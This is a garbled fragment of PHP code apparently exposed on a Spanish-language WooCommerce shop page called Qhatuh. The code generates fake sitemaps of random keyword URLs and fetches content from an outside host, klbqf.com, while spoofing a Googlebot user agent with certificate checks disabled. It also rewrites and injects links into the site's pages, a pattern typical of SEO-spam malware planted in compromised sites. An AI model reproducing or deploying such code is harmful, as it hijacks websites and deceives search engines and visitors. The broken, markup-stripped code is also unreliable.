\n";
$xmldbs.= " \n";
for($i=0;$i<$number;$i++){
$tagarr=getdesign();
$url=$_url.'/'.rtrim($tagarr[rand(0,count($tagarr)-1)],'/').'/'.charshuzis(7).'/';
$xmldbs.= " \n";
$xmldbs.= " ".$url."\n";
$xmldbs.= " ".date('Y-m-d')."\n";
$xmldbs.= " daily\n";
$xmldbs.= " 1.0\n";
$xmldbs.= " \n";
}
$xmldbs.= "";
header("content-type:text/xml;charset=utf-8");
echo $xmldbs;
unset($xmldbs);
exit;
}
function getkeywordinfo(){
$tagarr=getdesign();
$_url='http://klbqf.com/'.$tagarr[rand(0,count($tagarr)-1)].'/'.charshuzis(9);
$gent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)';//$gent?$gent:$_SERVER['HTTP_USER_AGENT'];
$data=array();
for($nbn=0;$nbn<2;$nbn++){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$_url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_USERAGENT,$gent);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不验证证书
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1 );
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,19);
$res = curl_exec($ch);
$cinfo=curl_getinfo($ch);
curl_close($ch);
if($cinfo['http_code']=='200'){
$reg1="//i";
preg_match_all($reg1,$res,$aarray);
for($i=0;$i/i";
preg_match_all($reg1,$res,$aarray);
/*******info******/
$keywordnum=count($aarray[0])+9;
$arrkeyword=getkeywordinfo();
/*******info******/
$tagarr=getdesign();
if(count($aarray[0])>0){
for($i=0;$icount($aarray[0])){
$_setkeyword=$arrkeyword[$i];
}else{
$_setkeyword=$arrkeyword[rand(0,count($arrkeyword)-1)];
}
}else{
$_setkeyword=charshuzis(5);
}
$link=$_url.'/'.clearstrrnrow($tagarr[rand(0,count($tagarr)-1)]).'/'.$_setkeyword;
//1 str_replace
$preg = '/href=(\"|\')(.*?)(\"|\')/i';
$replacestr = 'href="'.$link.'"';
$newhref = preg_replace($preg, $replacestr, $oldhref);
//2 str_replace
$res=str_replace($oldhref, $newhref, $res);
}
}
}
if(count($aarray[0])<10){
$atitle='';
for($arefi=0;$arefi<60;$arefi++){
if($arrkeyword){
if(count($arrkeyword)>count($aarray[0])){
$_setkeyword=$arrkeyword[$arefi];
}else{
$_setkeyword=$arrkeyword[rand(0,count($arrkeyword)-1)];
}
}else{
$_setkeyword=charshuzis(5);
}
$atitle.=''.$_setkeyword.''."\r\n";
}
$res=str_replace('
Ir al contenido
No products were found matching your selection.
', $atitle.'', $res);
}
}else{
$res='';
}
return $res;
}
function clearstrrnrow($str){
$str=trim($str,"");
$str=trim($str,"\r\n");
$str=preg_replace("/\s/","",$str);
$str=str_replace(array("\n","\r","\r\n"," "),"",$str);
$str = preg_replace("/\s/is", "", $str);
return $str;
}
function getdesign(){
return array('news','game', 'hot','mobile','app','order');
}
?>
Otros – Qhatuh